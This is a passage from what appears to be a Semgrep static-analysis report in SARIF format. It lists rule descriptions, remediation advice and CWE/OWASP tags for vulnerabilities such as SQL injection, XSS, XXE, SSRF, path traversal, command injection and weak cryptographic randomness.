abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint","id":"rust.hyper.sql.sqlx-taint.sqlx-taint","name":"rust.hyper.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"help":{"markdown":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js)\n - [https://golang.org/pkg/html/template/#JS](https://golang.org/pkg/html/template/#JS)\n","text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","id":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","name":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"help":{"markdown":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks](https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key)\n","text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","id":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","name":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password","id":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","name":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-empty-password.gorm-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","id":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","name":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-pickleshare-django.tainted-pickleshare-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","id":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","name":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-xml2json-xxe.express-xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","id":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","name":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"help":{"markdown":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf","id":"javascript.express.security.audit.express-ssrf.express-ssrf","name":"javascript.express.security.audit.express-ssrf.express-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-ssrf.express-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","id":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","name":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","id":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","name":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"setMultipleAllowances() is missing onlyOwner modifier"},"help":{"markdown":"setMultipleAllowances() is missing onlyOwner modifier\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control)\n - [https://twitter.com/danielvf/status/1494317265835147272](https://twitter.com/danielvf/status/1494317265835147272)\n - [https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8](https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8)\n - [https://play.secdim.com/game/dapp/challenge/rigoownsol](https://play.secdim.com/game/dapp/challenge/rigoownsol)\n","text":"setMultipleAllowances() is missing onlyOwner modifier"},"helpUri":"https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","id":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","name":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-href-url.react-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-href-url.react-href-url","id":"typescript.react.react-href-url.react-href-url","name":"typescript.react.react-href-url.react-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-href-url.react-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request)\n - [https://godoc.org/github.com/dghubble/sling#Sling.Add](https://godoc.org/github.com/dghubble/sling#Sling.Add)\n - [https://github.com/dghubble/sling](https://github.com/dghubble/sling)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","id":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","name":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE 